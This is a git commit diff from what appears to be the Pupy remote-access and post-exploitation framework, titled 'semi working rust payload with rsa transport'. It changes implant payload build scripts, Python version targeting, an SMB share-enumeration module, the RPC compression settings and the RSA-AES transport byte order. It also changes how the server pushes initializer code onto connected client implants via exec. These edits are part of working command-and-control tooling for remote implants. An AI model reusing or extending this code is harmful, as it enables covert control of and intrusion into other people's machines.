semi working rust payload with rsa transport

This commit is contained in:
n1nj4sec 2022-11-21 16:34:18 +01:00
parent d2605677d8
commit 9ee2022792
11 changed files with 85 additions and 67 deletions

View File

@ -5,7 +5,7 @@ PUPY=`dirname "$SELF"`/../
PUPY=`readlink -f "$PUPY"`
DOCKER_COMMAND=${DOCKER_COMMAND:-docker}
DOCKER_REPO=${DOCKER_REPO:-"alxchk"}
DOCKER_REPO=${DOCKER_REPO:-"n1nj4sec"}
CLEAN=${CLEAN:-"no"}
if [ ! -z "$REPO" ]; then

View File

@ -183,13 +183,17 @@ zf.writestr(
)
)
import platform
#TODO: update if needed
if 'win' in sys.platform:
for root, _, files in os.walk('C:\\Python27\\Lib\\site-packages'):
bits='64' if '64' in platform.architecture()[0] else '32'
for root, _, files in os.walk('C:\\Python3-'+bits+'\\Lib\\site-packages'):
for file in files:
if file.lower().endswith((".dll",".pyd")):
print("interesting file :", file)
if file.lower() in ('pywintypes27.dll', '_win32sysloader.pyd'):
if file.lower() in ('_win32sysloader.pyd'):
zf.write(os.path.join(root, file), file)
if file.lower().startswith("pywintypes") and file.lower().endswith(".dll"):
zf.write(os.path.join(root, file), file)
try:

View File

@ -14,7 +14,8 @@ PACKAGES="$PACKAGES https://github.com/alxchk/pyuv/archive/v1.x.zip"
PACKAGES="$PACKAGES idna http-parser pyodbc wmi"
PACKAGES="$PACKAGES psutil==5.9.2"
SUFFIX="-310"
SUFFIX="-`$PYTHON64 -c 'import sys;sys.stdout.write((chr.__call__(0)[0:0]).join([str(x) for x in sys.version_info[0:2]]));sys.stdout.flush()'`"
echo "Building with python version suffix: $SUFFIX"
SELF=$(readlink -f "$0")
SELFPWD=$(dirname "$SELF")
SRC=${SELFPWD:-$(pwd)}
@ -32,7 +33,7 @@ $PYTHON32 -m pip install -q --upgrade pylzma
$PYTHON64 -m pip install -q --upgrade pylzma
SKIP_TO_BUILD=1
SKIP_TO_BUILD=0
if [ ! "$SKIP_TO_BUILD" -eq "1" ]; then
echo "[+] Install python packages"

View File

@ -566,6 +566,7 @@ class PupyClient(object):
pass
except Exception as e:
logger.error(e)
agent.remote_error('Iterate launcher: {}', e)
finally:

View File

@ -81,7 +81,10 @@ def get_pyver(pyver, config):
if pyver is not None:
if pyver == 2:
return '27'
elif pyver == 3:
elif pyver == 38:
# Here will be some default supported Py3 version
return '38'
elif pyver == 310:
# Here will be some default supported Py3 version
return '310'
elif default:
@ -557,7 +560,7 @@ def generate_binary_from_template(
if not os.path.isfile(template):
raise ValueError('Template not found ({})'.format(template))
display(Info("Using template: {}".format(template)))
if target.debug:
conf['debug'] = True
@ -662,13 +665,8 @@ def get_parser(base_parser, config):
pyver = parser.add_mutually_exclusive_group()
pyver.add_argument(
'-2', '--python2', action='store_true',
help='Use python2 target'
)
pyver.add_argument(
'-3', '--python3', action='store_true',
help='Use python3 target'
'--python38', action='store_true',
help='Use python38 target (windows 7 supported)'
)
parser.add_argument(
@ -973,7 +971,7 @@ def pupygen(args, config, pupsrv, display):
os.makedirs(args.output_dir)
pyver = get_pyver(
2 if args.python2 else 3,
38 if args.python38 else 310,
config
)

View File

@ -43,31 +43,29 @@ class Shares(PupyModule):
remote.add_argument("-H", metavar="HASH", dest='hash', default='', help='NTLM hash')
remote.add_argument("-d", metavar="DOMAIN", dest='domain', default="WORKGROUP", help="Domain name (default WORKGROUP)")
remote.add_argument("-P", dest='port', type=int, choices={139, 445}, default=445, help="SMB port (default 445)")
remote.add_argument("-t", dest='target', type=str, help="The target range or CIDR identifier")
remote.add_argument("-t", dest='target', type=str, default=None, help="The target range or CIDR identifier")
def run(self, args):
# Retrieve local shared folders
try:
if args.local:
if self.client.is_windows():
shared_folders = self.client.remote('pupwinutils.drives', 'shared_folders')
if args.local:
if self.client.is_windows():
shared_folders = self.client.remote('pupwinutils.drives', 'shared_folders')
folders = shared_folders()
if not folders:
return
folders = shared_folders()
if not folders:
return
self.log(Table([{
'Name': share_name,
'Path': share_path
} for share_name, share_path in folders], ['Name', 'Path']))
self.log(Table([{
'Name': share_name,
'Path': share_path
} for share_name, share_path in folders], ['Name', 'Path']))
else:
self.warning('this module works only for windows. Try using: run shares remote -t 127.0.0.1')
return
else:
self.warning('this module works only for windows. Try using: run shares remote -t 127.0.0.1')
return
except:
pass
# Retrieve remote shared folders
if not args.target:

View File

@ -73,10 +73,10 @@ REGISTERED_NAMED_TUPLES_UNPACK = {}
MAX_REGISTERED_VERSION = 1
I1 = Struct("!B")
I4 = Struct("!L")
F8 = Struct("!d")
C16 = Struct("!dd")
I1 = Struct(">B")
I4 = Struct(">L")
F8 = Struct(">d")
C16 = Struct(">dd")
_dump_registry = tuple(
dict() for _ in xrange(MAX_REGISTERED_VERSION + 1)

View File

@ -79,7 +79,7 @@ class Channel(object):
"""
if self.compress and len(data) > self.COMPRESSION_THRESHOLD:
compressed = 1
data = zlib.compress(data, self.COMPRESSION_LEVEL)
data = zlib.compress(data)
else:
compressed = 0

View File

@ -42,8 +42,6 @@ from pupy.network.lib.rpc.core import SocketStream, Channel
import threading
COMPRESSION_ENABLED = False
class addGetPeer(object):
""" add some functions needed by some obfsproxy transports """
@ -56,9 +54,10 @@ class addGetPeer(object):
class PupyChannel(Channel):
def __init__(self, *args, **kwargs):
super(PupyChannel, self).__init__(*args, **kwargs)
self.compress = COMPRESSION_ENABLED
self.COMPRESSION_LEVEL = 5 if COMPRESSION_ENABLED else 0
self.compress = True
self.COMPRESSION_LEVEL = 5
self.COMPRESSION_THRESHOLD = self.stream.MAX_IO_CHUNK
self._send_channel_lock = threading.Lock()
self._recv_channel_lock = threading.Lock()
@ -71,7 +70,7 @@ class PupyChannel(Channel):
return self.stream.wake()
def recv(self):
# print "RECV", threading.currentThread()
#print( "RECV", threading.currentThread())
with self._recv_channel_lock:
data = self._recv()
@ -90,7 +89,7 @@ class PupyChannel(Channel):
def _recv(self):
""" Recv logic with interruptions """
# print "RECV! WAIT FOR LENGTH!"
#print( "RECV! WAIT FOR LENGTH!")
packet = self.stream.read(self.FRAME_HEADER.size)
# If no packet - then just return
@ -106,10 +105,10 @@ class PupyChannel(Channel):
del packet
length, compressed = self.FRAME_HEADER.unpack(header)
# print "RECV! WAIT FOR LENGTH COMPLETE!"
#print( "RECV! WAIT FOR LENGTH COMPLETE!")
required_length = length + len(self.FLUSHER)
# print "WAIT FOR", required_length
#print( "WAIT FOR", required_length)
decompressor = None
@ -122,10 +121,10 @@ class PupyChannel(Channel):
packet = self.stream.read(min(required_length, self.COMPRESSION_THRESHOLD))
if packet:
required_length -= len(packet)
# print "GET", len(packet)
#print( "GET", len(packet))
if not required_length:
packet = packet[:-len(self.FLUSHER)]
#print( "PACKET IS FINALLY ", len(packet))
if compressed:
packet = decompressor.decompress(packet)
if not packet:
@ -139,7 +138,7 @@ class PupyChannel(Channel):
if packet:
buf.write(packet)
# print "COMPLETE!"
#print( "COMPLETE!")
return buf
def _send(self, data):
@ -150,7 +149,7 @@ class PupyChannel(Channel):
portion = None
lportion = 0
# print "SEND .. ", ldata
#print( "SEND .. ", ldata)
if self.compress and ldata > self.COMPRESSION_THRESHOLD:
portion = data.peek(self.COMPRESSION_THRESHOLD)
@ -164,11 +163,10 @@ class PupyChannel(Channel):
self.stream.write(self.FRAME_HEADER.pack(ldata, compressed), notify=False)
self.stream.write(data, notify=False)
self.stream.write(self.FLUSHER)
# print "SEND .. ", ldata, "DONE"
#print( "SEND .. ", ldata, "DONE")
return
del portion
compressor = zlib.compressobj(self.COMPRESSION_LEVEL)
total_length = 0
@ -187,18 +185,22 @@ class PupyChannel(Channel):
if lportion > 0:
total_length += lportion
#print( "SEND .. ", lportion, "DONE")
self.stream.write(portion, notify=False)
portion = compressor.flush()
lportion = len(portion)
if lportion:
total_length += lportion
#print( "SEND .. ", lportion, "DONE")
self.stream.write(portion, notify=False)
del portion, data, cdata
self.stream.insert(self.FRAME_HEADER.pack(total_length, compressed))
# print "SEND WITH TOTAL LENGTH", total_length
#print( "SEND WITH TOTAL LENGTH", total_length)
#print( "SEND FLUSHER ", len(self.FLUSHER), "DONE")
self.stream.write(self.FLUSHER)
@ -208,7 +210,7 @@ class PupySocketStream(SocketStream):
self.MAX_IO_CHUNK = 32000
self.KEEP_ALIVE_REQUIRED = False
self.compress = COMPRESSION_ENABLED
self.compress = True
#buffers for transport
self.upstream = Buffer(

View File

@ -73,7 +73,7 @@ class RSA_AESTransport(BasePupyTransport):
if lremainder:
ltotal += BLOCK_SIZE - lremainder
data.insert(struct.pack('<I', lctext))
data.insert(struct.pack('>I', lctext))
data.truncate(ltotal)
if __debug__:
@ -112,7 +112,7 @@ class RSA_AESTransport(BasePupyTransport):
break
self.first_block = self.dec_cipher.decrypt(data.read(BLOCK_SIZE))
self.size_to_read = struct.unpack_from('<I', self.first_block)[0]
self.size_to_read = struct.unpack_from('>I', self.first_block)[0]
if self.size_to_read == 0:
raise ValueError('Zero sized chunk')

View File

@ -654,22 +654,36 @@ class PupyServer(object):
def add_client(self, conn):
client = None
is_rustc = True
conn.execute(
'import marshal;exec(marshal.loads({}))'.format(
reprb(
pupycompile(
path.join(
ROOT,
"pupylib",
'PupyClientInitializer.py'
),
path=True, raw=True,
target=conn.remote_version
if is_rustc:
conn.execute(
'exec({})'.format(
reprb(
open(path.join(
ROOT,
"pupylib",
'PupyClientInitializer.py'
), 'r').read()
)
)
)
else:
conn.execute(
'import marshal;exec(marshal.loads({}))'.format(
reprb(
pupycompile(
path.join(
ROOT,
"pupylib",
'PupyClientInitializer.py'
),
path=True, raw=True,
target=conn.remote_version
)
)
)
)
)
uuid = obtain(conn.namespace['get_uuid']())